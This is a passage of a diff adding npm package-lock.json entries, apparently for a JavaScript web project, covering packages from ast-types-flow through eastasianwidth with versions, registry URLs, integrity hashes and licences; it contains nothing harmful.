"^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/ast-types-flow": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz", + "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/aws-ssl-profiles": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/aws-ssl-profiles/-/aws-ssl-profiles-1.1.2.tgz", + "integrity": "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==", + "license": "MIT", + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/axe-core": { + "version": "4.11.1", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.11.1.tgz", + "integrity": "sha512-BASOg+YwO2C+346x3LZOeoovTIoTrRqEsqMa6fmfAV0P+U9mFr9NsyOEpiYvFjbc64NMrSswhV50WdXzdb/Z5A==", + "dev": true, + "license": "MPL-2.0", + "engines": { + "node": ">=4" + } + }, + "node_modules/axobject-query": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz", + "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/bcryptjs": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-3.0.3.tgz", + "integrity": "sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g==", + "license": "BSD-3-Clause", + "bin": { + "bcrypt": "bin/bcrypt" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/busboy": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/busboy/-/busboy-1.6.0.tgz", + "integrity": "sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==", + "dependencies": { + "streamsearch": "^1.1.0" + }, + "engines": { + "node": ">=10.16.0" + } + }, + "node_modules/c12": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/c12/-/c12-3.1.0.tgz", + "integrity": "sha512-uWoS8OU1MEIsOv8p/5a82c3H31LsWVR5qiyXVfBNOzfffjUWtPnhAb4BYI2uG2HfGmZmFjCtui5XNWaps+iFuw==", + "license": "MIT", + "dependencies": { + "chokidar": "^4.0.3", + "confbox": "^0.2.2", + "defu": "^6.1.4", + "dotenv": "^16.6.1", + "exsolve": "^1.0.7", + "giget": "^2.0.0", + "jiti": "^2.4.2", + "ohash": "^2.0.11", + "pathe": "^2.0.3", + "perfect-debounce": "^1.0.0", + "pkg-types": "^2.2.0", + "rc9": "^2.1.2" + }, + "peerDependencies": { + "magicast": "^0.3.5" + }, + "peerDependenciesMeta": { + "magicast": { + "optional": true + } + } + }, + "node_modules/c12/node_modules/chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "license": "MIT", + "dependencies": { + "readdirp": "^4.0.1" + }, + "engines": { + "node": ">= 14.16.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/c12/node_modules/jiti": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", + "integrity": "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==", + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/c12/node_modules/readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "license": "MIT", + "engines": { + "node": ">= 14.18.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001774", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001774.tgz", + "integrity": "sha512-DDdwPGz99nmIEv216hKSgLD+D4ikHQHjBC/seF98N9CPqRX4M5mSxT9eTV6oyisnJcuzxtZy4n17yKKQYmYQOA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chevrotain": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/chevrotain/-/chevrotain-10.5.0.tgz", + "integrity": "sha512-Pkv5rBY3+CsHOYfV5g/Vs5JY9WTHHDEKOlohI2XeygaZhUeqhAlldZ8Hz9cRmxu709bvS08YzxHdTPHhffc13A==", + "license": "Apache-2.0", + "dependencies": { + "@chevrotain/cst-dts-gen": "10.5.0", + "@chevrotain/gast": "10.5.0", + "@chevrotain/types": "10.5.0", + "@chevrotain/utils": "10.5.0", + "lodash": "4.17.21", + "regexp-to-ast": "0.5.0" + } + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/citty": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/citty/-/citty-0.1.6.tgz", + "integrity": "sha512-tskPPKEs8D2KPafUypv2gxwJP8h/OaJmC82QQGGDQcHvXX43xF2VDACcJVmZ0EuSxkpO9Kc4MlrA3q0+FG58AQ==", + "license": "MIT", + "dependencies": { + "consola": "^3.2.3" + } + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/client-only": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz", + "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==", + "license": "MIT" + }, + "node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/cliui/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/cliui/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/confbox": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", + "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", + "license": "MIT" + }, + "node_modules/consola": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz", + "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.10.0" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/date-fns": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-4.1.0.tgz", + "integrity": "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/kossnocorp" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/deepmerge-ts": { + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/deepmerge-ts/-/deepmerge-ts-7.1.5.tgz", + "integrity": "sha512-HOJkrhaYsweh+W+e74Yn7YStZOilkoPb6fycpwNLKzSPtruFs48nYis0zy5yJz1+ktUhHxoRDJ27RQAWLIJVJw==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/defu": { + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/defu/-/defu-6.1.4.tgz", + "integrity": "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg==", + "license": "MIT" + }, + "node_modules/denque": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/denque/-/denque-2.1.0.tgz", + "integrity": "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/destr": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz", + "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==", + "license": "MIT" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/dijkstrajs": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.3.tgz", + "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==", + "license": "MIT" + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true, + "license": "MIT" + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": 